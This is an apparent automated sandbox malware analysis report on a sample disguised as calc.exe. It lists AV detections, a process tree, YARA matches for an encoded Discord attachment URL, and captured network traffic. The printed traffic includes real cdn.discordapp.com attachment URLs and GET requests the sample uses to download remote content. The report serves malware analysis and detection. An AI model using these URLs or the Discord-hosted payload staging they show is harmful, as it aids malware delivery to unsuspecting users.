Loading ...

Play interactive tourEdit tour

Windows Analysis Report calc.exe

Overview

General Information

Sample Name:calc.exe
Analysis ID:510683
MD5:ce76ae9d476b9c0daa25daf4c6dd4909
SHA1:f574aa3bbe554363a6f6d1d648c31505bf92bfe5
SHA256:05f3ac7f197b690f306c521b658c935fbf057d737ad6791cee6e2553b87d090b
Infos:

Most interesting Screenshot:

Detection

Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
System process connects to network (likely due to code injection or exploit)
Machine Learning detection for sample
.NET source code contains potential unpacker
Queries the volume information (name, serial number etc) of a device
Yara signature match
One or more processes crash
Detected potential crypto function
JA3 SSL client fingerprint seen in connection with other malware
IP address seen in connection with other malware
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
AV process strings found (often used to terminate AV products)
Found inlined nop instructions (likely shell or obfuscated code)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Allocates memory with a write watch (potentially for evading sandboxes)
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Launches processes in debugging mode, may be used to hinder debugging
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • calc.exe (PID: 5472 cmdline: 'C:\Users\user\Desktop\calc.exe' MD5: CE76AE9D476B9C0DAA25DAF4C6DD4909)
    • conhost.exe (PID: 3200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • WerFault.exe (PID: 4644 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5472 -s 2188 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 5108 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5472 -s 2188 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
calc.exeSUSP_Encoded_Discord_Attachment_Oct21_1Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)Florian Roth
  • 0x158e:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000000.343240898.0000000002FDE000.00000004.00000010.sdmpSUSP_Encoded_Discord_Attachment_Oct21_1Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)Florian Roth
  • 0x52d:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
  • 0x5e8:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
  • 0xd7f:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpSUSP_Encoded_Discord_Attachment_Oct21_1Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)Florian Roth
  • 0x123a:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
  • 0x1346:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpSUSP_Encoded_Discord_Attachment_Oct21_1Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)Florian Roth
  • 0x10410:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
  • 0x104d4:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
00000000.00000000.329674852.0000000003183000.00000004.00000001.sdmpSUSP_Encoded_Discord_Attachment_Oct21_1Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)Florian Roth
  • 0x10410:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
  • 0x104d4:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
00000000.00000000.343824955.0000000005750000.00000004.00000001.sdmpSUSP_Encoded_Discord_Attachment_Oct21_1Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)Florian Roth
  • 0x18f13e:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
Click to see the 13 entries

Unpacked PEs

SourceRuleDescriptionAuthorStrings
0.0.calc.exe.aa0000.1.unpackSUSP_Encoded_Discord_Attachment_Oct21_1Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)Florian Roth
  • 0x158e:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
0.0.calc.exe.aa0000.3.unpackSUSP_Encoded_Discord_Attachment_Oct21_1Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)Florian Roth
  • 0x158e:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
0.0.calc.exe.aa0000.0.unpackSUSP_Encoded_Discord_Attachment_Oct21_1Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)Florian Roth
  • 0x158e:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc
0.2.calc.exe.aa0000.0.unpackSUSP_Encoded_Discord_Attachment_Oct21_1Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)Florian Roth
  • 0x158e:$enc_r01: stnemhcatta/moc.ppadrocsid.ndc

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

barindex
Multi AV Scanner detection for submitted fileShow sources
Source: calc.exeVirustotal: Detection: 54%Perma Link
Source: calc.exeReversingLabs: Detection: 26%
Antivirus / Scanner detection for submitted sampleShow sources
Source: calc.exeAvira: detected
Machine Learning detection for sampleShow sources
Source: calc.exeJoe Sandbox ML: detected
Source: unknownHTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:49706 version: TLS 1.2
Source: calc.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Source: Binary string: mscorlib.pdb source: WER95DF.tmp.dmp.6.dr
Source: Binary string: C:\Users\jpint\OneDrive\Desktop\BuilderBot\BuilderBot\bin\Release\stub\un_priv\DarkEdition\obj\Release\calc.pdb source: calc.exe
Source: Binary string: calc.pdb source: WER95DF.tmp.dmp.6.dr
Source: Binary string: System.Core.pdb source: WER95DF.tmp.dmp.6.dr
Source: Binary string: System.Configuration.pdb source: WER95DF.tmp.dmp.6.dr
Source: Binary string: System.Xml.pdb source: WER95DF.tmp.dmp.6.dr
Source: Binary string: System.pdb source: calc.exe, 00000000.00000002.367647952.00000000031D9000.00000004.00000001.sdmp, WER95DF.tmp.dmp.6.dr
Source: C:\Users\user\Desktop\calc.exeCode function: 4x nop then mov ecx, dword ptr [ebp-3Ch]0_2_0643A56C
Source: C:\Users\user\Desktop\calc.exeCode function: 4x nop then mov ecx, dword ptr [ebp-3Ch]0_2_0643B3C8
Source: C:\Users\user\Desktop\calc.exeCode function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h0_2_07E6CB98
Source: C:\Users\user\Desktop\calc.exeCode function: 4x nop then cmp dword ptr [ebp-50h], 00000000h0_2_07E64B20

Networking:

barindex
System process connects to network (likely due to code injection or exploit)Show sources
Source: C:\Users\user\Desktop\calc.exeDomain query: cdn.discordapp.com
Source: C:\Users\user\Desktop\calc.exeNetwork Connect: 162.159.129.233 443Jump to behavior
Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox ViewIP Address: 162.159.129.233 162.159.129.233
Source: Joe Sandbox ViewIP Address: 162.159.129.233 162.159.129.233
Source: global trafficHTTP traffic detected: GET /attachments/897402450376536075/897465559711633408/8NMrqq.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cdn.discordapp.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /attachments/897223707649515602/897228595318124554/ascii_ART.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cdn.discordapp.com
Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49707
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49706
Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 28 Oct 2021 02:47:25 GMTContent-Type: application/xml; charset=UTF-8Content-Length: 223Connection: closeCF-Ray: 6a50d6df1de5704b-FRACache-Control: private, max-age=0Expires: Thu, 28 Oct 2021 02:47:25 GMTVary: Accept-EncodingCF-Cache-Status: MISSAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"X-GUploader-UploadID: ADPycdvmIJ6fyxN-S_Ql7MC3Nxbuwa3jy81FwES3sKTaMMXv4jW4iuObIXKgFvb0UnZQx9eqZK_RhW3Ray2ankX5oQcX-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodpReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FDLVEnkmb%2FsNn8CmbbO5LGqGPJQYPAvbM4HW6vJSl%2FhNcDhnDUprMVf2%2FvGs7shDtytSOU3vj4YZNk5nZnXCMdZIwtaVDOhNnSZZQGuZe%2B%2B198hfkv8qayNPrbvSCpG3lhavTQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
Source: calc.exe, 00000000.00000002.367540151.0000000003141000.00000004.00000001.sdmpString found in binary or memory: http://cdn.discordapp.com
Source: calc.exe, 00000000.00000000.335045493.0000000007F04000.00000004.00000001.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: calc.exe, 00000000.00000002.375768006.0000000007F8B000.00000004.00000001.sdmpString found in binary or memory: http://crl.verisT
Source: calc.exe, 00000000.00000002.372198113.0000000006E40000.00000004.00000001.sdmpString found in binary or memory: http://my.netscape.com/publish/formats/rss-0.91.dtd
Source: calc.exe, 00000000.00000002.372198113.0000000006E40000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: calc.exe, 00000000.00000002.367511473.0000000003128000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: calc.exe, 00000000.00000002.372198113.0000000006E40000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Amcache.hve.6.drString found in binary or memory: http://upx.sf.net
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.d
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.di
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.dis
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.disc
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.disco
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discor
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discord
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discorda
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordap
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.c
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.co
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/a
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/at
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/att
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/atta
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attac
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attach
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachm
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachme
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachmen
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachment
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmp, calc.exe, 00000000.00000000.342834254.000000000117B000.00000004.00000020.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/8
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/89
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/8972
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/89722
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/8972237
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/89722370
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/8972237076
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/89722370764
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/8972237076495
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/89722370764951
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/8972237076495156
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/89722370764951560
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/8
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/89
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/8972
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/89722
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/8972285
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/89722859
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/8972285953
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/89722859531
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/8972285953181
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/89722859531812
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/8972285953181245
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/89722859531812455
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/a
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/as
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/asc
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/asci
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_A
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_AR
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART.
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART.t
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART.tx
Source: calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART.txt
Source: calc.exe, 00000000.00000002.374635326.00000000074B0000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART.txtd
Source: calc.exe, 00000000.00000002.374635326.00000000074B0000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART.txteB
Source: calc.exe, 00000000.00000000.343240898.0000000002FDE000.00000004.00000010.sdmp, calc.exe, 00000000.00000002.367511473.0000000003128000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897402450376536075/897465559711633408/8NMrqq.txt
Source: calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/897402450376536075/897465559711633408/8NMrqq.txtP
Source: calc.exe, 00000000.00000002.367511473.0000000003128000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.comhgb
Source: unknownDNS traffic detected: queries for: cdn.discordapp.com
Source: global trafficHTTP traffic detected: GET /attachments/897402450376536075/897465559711633408/8NMrqq.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cdn.discordapp.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /attachments/897223707649515602/897228595318124554/ascii_ART.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cdn.discordapp.com
Source: unknownHTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:49706 version: TLS 1.2
Source: calc.exe, 00000000.00000000.342834254.000000000117B000.00000004.00000020.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>
Source: calc.exe, type: SAMPLEMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 0.0.calc.exe.aa0000.1.unpack, type: UNPACKEDPEMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 0.0.calc.exe.aa0000.3.unpack, type: UNPACKEDPEMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 0.0.calc.exe.aa0000.0.unpack, type: UNPACKEDPEMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 0.2.calc.exe.aa0000.0.unpack, type: UNPACKEDPEMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000000.343240898.0000000002FDE000.00000004.00000010.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000000.329674852.0000000003183000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000000.343824955.0000000005750000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000000.305223353.0000000000AA2000.00000002.00020000.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000002.367418794.00000000030D1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000000.342834254.000000000117B000.00000004.00000020.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000002.366800750.000000000117B000.00000004.00000020.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000000.329221190.000000000117B000.00000004.00000020.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000002.366316265.0000000000AA2000.00000002.00020000.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000002.368179872.0000000005750000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000000.343377343.0000000003183000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000002.367396933.0000000002FDE000.00000004.00000010.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000000.339982172.0000000000AA2000.00000002.00020000.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
